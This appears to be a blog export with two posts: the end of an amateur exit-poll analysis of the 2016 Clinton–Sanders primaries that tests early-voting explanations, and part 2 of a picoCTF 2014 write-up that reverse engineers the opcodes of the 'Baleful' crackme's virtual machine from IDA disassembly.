<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">84.09%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">16.32%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 11;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">OK<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">-25.56%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">64.79%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">49.69%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">44.39%<o:p></o:p></span></div>
</td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 12;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">SC<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">887.75%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">-881.05%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 13;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">TN<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">75.89%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">26.67%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 14; mso-yfti-lastrow: yes;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">TX<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">66.56%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">31.81%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
</tr>
</tbody></table>
</div>
<div>
When it comes to how plausible they are, it's a mixed bag. Clinton is known to excel at early voting, so margins of 60%-40% or 70%-30% aren't unreasonable. However, some more questionable things pop up as well. For Clinton to make up exit poll margins with early voting:</div>
<div>
<ul>
<li>She'd need over 96% of the CT early vote, which is quite high</li>
<li>She'd need about 96% of the GA early vote; quite high, and the official results say she only got 78%</li>
<li>She'd need about 84% of the OH early vote, which is quite high</li>
<li>She'd need 887.75% of the SC early vote (this is obviously ludicrous)</li>
</ul>
<div>
Maryland and Oklahoma are two strange cases, since my model underestimates the early vote she'd get. In Oklahoma, she would need negative absentee votes to meet the margins, meaning that EPC * (VT - VE) is greater than OC * VT. In Maryland, her calculated early vote is lower than the actual one by about 7 points. I'm not entirely sure what that means, but it may indicate that exit polls did correctly count early votes (as they try to), and adding more would be unnecessary.<br />
<br />
<h2>
Some of the early vote counted</h2>
</div>
</div>
<div>
(Added 2016/6/28)<br />
<br />
Assuming the exit polls count 0% of the early vote produces realistic results in some states, and strange results in others. Now let’s look at the more likely possibility that the early vote was counted, but incorrectly. The exit pollsters do telephone interviews to get the early vote share, and then merge it into the election day results by estimating how much of the total vote is early voting. What happens if they overestimate or underestimate it?<br />
<br />
Recall our variables from before:<br />
<ul>
<li><b>EPC:</b> Clinton's share in exit polls</li>
<li><b>EPS:</b> Sanders' share in exit polls</li>
<li><b>OC:</b> Clinton's share in official results</li>
<li><b>OS:</b> Sanders' share in official results</li>
<li><b>VT:</b> Total number of votes cast</li>
<li><b>VE:</b> Number of early/absentee votes cast</li>
</ul>
Let’s make some new variables to add to our old ones:<br />
<ul>
<li><b>EVP:</b> How much we over/underestimated (percent of the actual early vote)</li>
<li><b>EVEP:</b> The percentage of exit poll results that come from early voting</li>
<li><b>EDC:</b> Clinton’s exit poll share on election day</li>
<li><b>EDS:</b> Sanders’ exit poll share on election day</li>
</ul>
Letting x be Clinton’s early vote share and y be Sanders’, we can get their election day shares:<br />
<ul>
<li>EVEP = EVP * (VE / VT)</li>
<li>EDC = (EPC - (x * EVEP)) / (1 - EVEP)</li>
<li>EDS = (EPS - (y * EVEP)) / (1 - EVEP)</li>
</ul>
Then we can plug them into the same equations as before:<br />
<ul>
<li>OC * VT = (EDC * (VT - VE)) + (x * VE)</li>
<li>OS * VT = (EDS * (VT - VE)) + (y * VE)</li>
</ul>
The equation is less nice, but we can still solve for x and y. Running the results again, for various values of EVP, we get the below, calculated from <a href="https://docs.google.com/spreadsheets/d/1oCRbFDCiwKy7jTi4sMnM0W6B09lQT5AE1yj0rtabPAk/edit#gid=721605135">my spreadsheet</a>:<br />
<br />
[Table coming soon; for now, look at the spreadsheet]<br />
<br />
Again, how reasonable the margins are is a mixed bag. Reasonability is subjectively assessed by whether Clinton wins, as is expected, and whether the margins are extreme or impossible:<br />
<ul>
<li>AR margins are close to the official ones if the early vote is underestimated around 25%, or overestimated above 200%</li>
<li>CT’s margins are not reasonable at all, either drastically overstating Clinton’s share or making Sanders the early/absentee winner by a landslide</li>
<li>FL’s margins are always reasonable</li>
<li>GA’s margins are only reasonable at 300% or 400% overestimation, and they still fall short of Clinton’s official share of the early vote</li>
<li>IN’s margins are reasonable for underestimations at 50% or lower</li>
<li>MD’s official early/absentee margins are met at around 150% overestimation, which is not too unlikely</li>
<li>MI’s margins are reasonable for underestimations at 50% or lower</li>
<li>NC’s margins are almost always within reason</li>
<li>OH’s margins are never reasonable</li>
<li>OK’s margins are only reasonable at 300% or 400% overestimation, and they still overstate Clinton’s share by a lot</li>
<li>SC’s margins are never reasonable</li>
<li>TN’s margins are reasonable at underestimations at or below 25%, and overestimations at 200%</li>
<li>TX’s margins are always reasonable</li>
</ul>
So FL, NC, and TX are totally consistent with respect to exit polls and early voting. CT, GA, OH, and SC are completely inconsistent. AR, IN, MD, MI, and TN are sometimes reasonable. OK, one of the only states where Clinton did worse than the exit polls predicted, still fails to make sense in this model.<br />
<br /></div>
<h2>
Conclusions</h2>
<div>
Recall our three assumptions that we used in calculating early/absentee margins:<br />
<ol>
<li>Official election results correctly reflect the total votes that candidates received</li>
<li>Polling place interviews done on election day accurately reflect the election day vote</li>
<li>Telephone surveys of early/absentee voters accurately reflect that population</li>
</ol>
FL, NC, and TX had reasonable margins for a wide array of misestimations. CT, GA, OH, and SC completely flunk this test, never providing reasonable margins, as does OK. AR, IN, MD, MI, and TN could go either way; they’re reasonable for a smaller subset of misestimations.<br />
<br />
Since the early voting hypothesis does work for some states, perhaps some of these exit poll discrepancies have a legitimate justification that isn’t fraud. Clinton’s success with the early vote can make up for her doing worse on election day. On the other hand, several states (CT, GA, OH, SC, and OK) require impossible early/absentee margins. And other states’ margins may or may not be reasonable.<br />
<br />
In states whose margins don’t make sense, one or more of the above assumptions was wrong. If #1 and #2 are correct, but #3 isn’t, the calculations done here simply uncovered bad phone interviews. But these margins are often so unreasonable (exceeding 100% or being negative) that they couldn’t have shown up in the telephone polls. So #3 can’t be the only failed assumption: #1 and/or #2 must be invalid.<br />
<br />
That leaves us with two possibilities: exit polls <i>done on election day</i> are wrong, or the official results are. Both possibilities are plausible, and the rest of this series will examine them.<br />
<br />
What this shows is that exit poll discrepancies can't simply be dismissed based on early voting. Sometimes, that can explain it, but it doesn't always. Regardless, the discrepancies do deserve to be looked at more critically. Not every single discrepancy has to point to fraud.</div>
<div>
<br />
<h2>
Other posts on election fraud</h2>
</div>
<div>
<div>
<a href="http://marionumber1.blogspot.com/2016/06/systemic-election-fraud-part-2-why-is.html">Part 2: When Exit Polls are Off</a><br />
<a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html">Part 3: Vote Rigging in the 21st Century</a></div>
<div>
<a href="http://marionumber1.blogspot.com/2016/09/election-fraud-part-4-clinton-shift.html">Part 4: The Clinton Shift</a></div>
</div>
Unknownnoreply@blogger.com8tag:blogger.com,1999:blog-1645045780017662151.post-22960473603277758482014-12-11T22:09:00.000-03:002016-04-03T00:28:00.449-04:00picoCTF 2014: Baleful (re200) Part 2Welcome to the second part of the Baleful writeup. In the <a href="http://marionumber1.blogspot.com/2014/12/picoctf-2014-baleful-re200-part-1.html">first part</a>, we started reverse engineering Baleful and figuring out how it worked. We eventually deduced that it was a VM that ran an embedded byte code program. By stepping through the VM in GDB, we were able to learn how the registers and stack worked in the VM. Now that we have this knowledge, it's easy to decipher the rest of the instructions. Let's get to it!<br />
<br />
We know that the stack pointer is located in [ebp-0x38], so other instructions using that would also be doing something with the stack. Opcodes 0x1e and 0x1f both do, meaning it'd be good to take a look at them. First let's see 0x1e:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:08049B92 loc_8049B92: ; CODE XREF: sub_804898B+C0 j
.text:08049B92 ; DATA XREF: .rodata:vm_instrs o
.text:08049B92 mov eax, [ebp+ipos] ; jumptable 08048A4B case 30
.text:08049B95 add eax, 1
.text:08049B98 movzx eax, byte_804C0C0[eax]
.text:08049B9F movsx eax, al
.text:08049BA2 mov [ebp+var_C], eax
.text:08049BA5 cmp [ebp+var_C], 0
.text:08049BA9 jz short loc_8049BC1
.text:08049BAB mov eax, [ebp+ipos]
.text:08049BAE add eax, 2
.text:08049BB1 add eax, offset byte_804C0C0
.text:08049BB6 mov eax, [eax]
.text:08049BB8 mov [ebp+var_24], eax
.text:08049BBB add [ebp+ipos], 6
.text:08049BBF jmp short loc_8049BDF
.text:08049BC1 ; ---------------------------------------------------------------------------
.text:08049BC1
.text:08049BC1 loc_8049BC1: ; CODE XREF: sub_804898B+121E j
.text:08049BC1 mov eax, [ebp+ipos]
.text:08049BC4 add eax, 2
.text:08049BC7 movzx eax, byte_804C0C0[eax]
.text:08049BCE movsx eax, al
.text:08049BD1 mov eax, [ebp+eax*4+regs]
.text:08049BD8 mov [ebp+var_24], eax
.text:08049BDB add [ebp+ipos], 3
.text:08049BDF
.text:08049BDF loc_8049BDF: ; CODE XREF: sub_804898B+1234 j
.text:08049BDF mov eax, [ebp+stack]
.text:08049BE2 sub eax, 4
.text:08049BE5 mov [ebp+stack], eax
.text:08049BE8 mov eax, [ebp+stack]
.text:08049BEB lea edx, byte_804C0C0[eax]
.text:08049BF1 mov eax, [ebp+var_24]
.text:08049BF4 mov [edx], eax
.text:08049BF6 jmp short loc_8049C67
</code></pre>
<br />
This function reads the second byte of the instruction, and takes one of two paths depending on the value. If it's 0, it goes to 0x08049bc1, otherwise, it ends up branching to 0x08049bdf. Both cases are nearly identical: the stack pointer is decremented by 4 and a value gets written onto the stack. This is quite clearly a PUSH instruction. But why two different cases? Well, case 0 loads the value from a register specified in the instruction, while case 1 puts a constant on the stack. This PUSH instruction can use either a register or a constant as a data source.<br />
<br />
Now let's look at 0x1f, which is much simpler:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:08049BF8 loc_8049BF8: ; CODE XREF: sub_804898B+C0 j
.text:08049BF8 ; DATA XREF: .rodata:vm_instrs o
.text:08049BF8 mov eax, [ebp+ipos] ; jumptable 08048A4B case 31
.text:08049BFB add eax, 1
.text:08049BFE movzx eax, byte_804C0C0[eax]
.text:08049C05 movsx eax, al
.text:08049C08 mov [ebp+var_24], eax
.text:08049C0B mov eax, [ebp+stack]
.text:08049C0E add eax, offset byte_804C0C0
.text:08049C13 mov edx, [eax]
.text:08049C15 mov eax, [ebp+var_24]
.text:08049C18 mov [ebp+eax*4+regs], edx
.text:08049C1F mov eax, [ebp+stack]
.text:08049C22 add eax, 4
.text:08049C25 mov [ebp+stack], eax
.text:08049C28 add [ebp+ipos], 2
.text:08049C2C jmp short loc_8049C67
</code></pre>
<br />
The second byte of the instruction is loaded into EAX and stored temporarily in [ebp-0x24]. Then we read a 4-byte value from the current position of the stack into EDX. Next, we use the value stored in [ebp-0x24] as a register number. This register number determines which register we write EDX into. Finally, the stack pointer is incremented by 4-bytes. This is clearly a POP instruction. We specify a destination register, and this instruction puts the current stack value inside it before incrementing the stack pointer.<br />
<br />
What instruction should we look at next? It might be a good idea to take a second look at MOV. Originally, it looked far too intimidating to statically analyze, so we just stepped through it in GDB. Now we know more about the VM, and can probably figure the rest out.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:08049A02 mov_8049A02: ; CODE XREF: sub_804898B+C0 j
.text:08049A02 ; DATA XREF: .rodata:vm_instrs o
.text:08049A02 mov eax, [ebp+ipos] ; jumptable 08048A4B case 24
.text:08049A05 add eax, 1
.text:08049A08 movzx eax, byte_804C0C0[eax]
.text:08049A0F movsx eax, al
.text:08049A12 mov [ebp+var_C], eax
.text:08049A15 mov eax, [ebp+var_C]
.text:08049A18 test eax, eax
.text:08049A1A jz short loc_8049A23
.text:08049A1C cmp eax, 1
.text:08049A1F jz short loc_8049A57
.text:08049A21 jmp short loc_8049A81
.text:08049A23 ; ---------------------------------------------------------------------------
.text:08049A23
.text:08049A23 loc_8049A23: ; CODE XREF: sub_804898B+108F j
.text:08049A23 mov eax, [ebp+ipos]
.text:08049A26 add eax, 2
.text:08049A29 movzx eax, byte_804C0C0[eax]
.text:08049A30 movsx eax, al
.text:08049A33 mov edx, [ebp+ipos]
.text:08049A36 add edx, 3
.text:08049A39 movzx edx, byte_804C0C0[edx]
.text:08049A40 movsx edx, dl
.text:08049A43 mov edx, [ebp+edx*4+regs]
.text:08049A4A mov [ebp+eax*4+regs], edx
.text:08049A51 add [ebp+ipos], 4
.text:08049A55 jmp short loc_8049A81
.text:08049A57 ; ---------------------------------------------------------------------------
.text:08049A57
.text:08049A57 loc_8049A57: ; CODE XREF: sub_804898B+1094 j
.text:08049A57 mov eax, [ebp+ipos]
.text:08049A5A add eax, 2
.text:08049A5D movzx eax, byte_804C0C0[eax]
.text:08049A64 movsx eax, al
.text:08049A67 mov edx, [ebp+ipos]
.text:08049A6A add edx, 3
.text:08049A6D add edx, offset byte_804C0C0
.text:08049A73 mov edx, [edx]
.text:08049A75 mov [ebp+eax*4+regs], edx
.text:08049A7C add [ebp+ipos], 7
.text:08049A80 nop
.text:08049A81
.text:08049A81 loc_8049A81: ; CODE XREF: sub_804898B+1096 j
.text:08049A81 ; sub_804898B+10CA j
.text:08049A81 jmp loc_8049C67
</code></pre>
<br />
Just like before, it's taking the second byte and using it to determine which case to enter. Let's see what each case does. Case 0 reads the third and fourth bytes of the instruction, then uses them as register numbers. It takes the value of the register specified by the fourth byte and puts it in the register specified by the third byte. Looks like case 0 is a register-register MOV. What about case 1? It also uses the third byte as a destination register, but it instead puts a constant (included in the instruction into that register). Similarly to PUSH, it has two cases: one for a register source and one for a constant source. The destination is always a register.<br />
<br />
We know that 0x0f is the CALL instruction. But there are also several other branching instructions we ought to take a look at.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:080496D1 loc_80496D1: ; CODE XREF: sub_804898B+C0 j
.text:080496D1 ; DATA XREF: .rodata:vm_instrs o
.text:080496D1 mov eax, [ebp+ipos] ; jumptable 08048A4B case 14
.text:080496D4 add eax, 1
.text:080496D7 add eax, offset byte_804C0C0
.text:080496DC mov eax, [eax]
.text:080496DE mov [ebp+var_10], eax
.text:080496E1 mov eax, [ebp+var_10]
.text:080496E4 mov [ebp+ipos], eax
.text:080496E7 jmp loc_8049C67
</code></pre>
<br />
This reads a new instruction pointer from the opcode data and puts it in ipos. However, the stack is not involved, meaning this is just a normal, unconditional jump. What other kinds of jumps are there?<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:080496EC loc_80496EC: ; CODE XREF: sub_804898B+C0 j
.text:080496EC ; DATA XREF: .rodata:vm_instrs o
.text:080496EC mov eax, [ebp+ipos] ; jumptable 08048A4B case 16
.text:080496EF add eax, 1
.text:080496F2 add eax, offset byte_804C0C0
.text:080496F7 mov eax, [eax]
.text:080496F9 mov [ebp+var_10], eax
.text:080496FC cmp [ebp+var_28], 0
.text:08049700 jz short loc_804970A
.text:08049702 mov eax, [ebp+ipos]
.text:08049705 add eax, 5
.text:08049708 jmp short loc_804970D
.text:0804970A ; ---------------------------------------------------------------------------
.text:0804970A
.text:0804970A loc_804970A: ; CODE XREF: sub_804898B+D75 j
.text:0804970A mov eax, [ebp+var_10]
.text:0804970D
.text:0804970D loc_804970D: ; CODE XREF: sub_804898B+D7D j
.text:0804970D mov [ebp+ipos], eax
.text:08049710 jmp loc_8049C67
</code></pre>
<br />
This does almost the same thing as JMP, but only modifies ipos if [ebp-0x28] is 0. Recall that on x86, the jz instruction is equivalent to jump-if-equal-to. It subtracts the two comparison operands, and if the result is 0 (indicating equality), it jumps to them. What's here is very similar, so maybe [ebp-0x28] holds the result of that subtraction. That would make it a condition register. If we look further down, many opcodes also check the condition register in similar ways, but with different types of jumps.<br />
<br />
If there are multiple jumps only branching if a comparison holds true, there must be some instructions that perform those comparisons. Both 0x16 and 0x17 modify the condition register, so they're good candidates. We'll take a look at 0x16 first:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:080497E2 loc_80497E2: ; CODE XREF: sub_804898B+C0 j
.text:080497E2 ; DATA XREF: .rodata:vm_instrs o
.text:080497E2 mov eax, [ebp+ipos] ; jumptable 08048A4B case 22
.text:080497E5 add eax, 1
